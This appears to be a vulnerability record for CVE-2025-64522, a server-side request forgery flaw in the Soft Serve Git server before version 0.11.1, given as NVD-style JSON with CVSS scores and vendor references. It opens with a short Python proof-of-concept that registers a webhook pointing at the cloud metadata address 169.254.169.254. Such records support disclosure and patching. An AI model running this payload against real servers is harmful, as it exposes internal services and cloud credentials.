CVE-2025-64522

import requests # 创建指向内网服务的webhook webhook_url = "http://169.254.169.254/latest/meta-data/" target_repo = "vulnerable-repo" payload = { "url": webhook_url, "events": ["push"] } response = requests.post( f"http://target.com/api/repos/{target_repo}/webhooks", json=payload ) print(response.status_code)

{"cve": {"id": "CVE-2025-64522", "sourceIdentifier": "[email protected]", "published": "2025-11-10T23:15:41.987", "lastModified": "2025-12-31T17:54:07.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Soft Serve is a self-hostable Git server for the command line. Versions prior to 0.11.1 have a SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints. Version 0.11.1 fixes the vulnerability."}, {"lang": "es", "value": "Soft Serve es un servidor Git autoalojable para la línea de comandos. Las versiones anteriores a la 0.11.1 tienen una vulnerabilidad SSRF donde las URL de los webhooks no son validadas, permitiendo a los administradores del repositorio crear webhooks que apunten a servicios internos, redes privadas y puntos finales de metadatos en la nube. La versión 0.11.1 corrige la vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:charm:soft_serve:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.11.1", "matchCriteriaId": "2922232B-1219-488F-A47E-2EC829B02351"}]}]}], "references": [{"url": "https://github.com/charmbracelet/soft-serve/commit/bb73b9a0eea0d902da4811420535842a4f9aae3b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}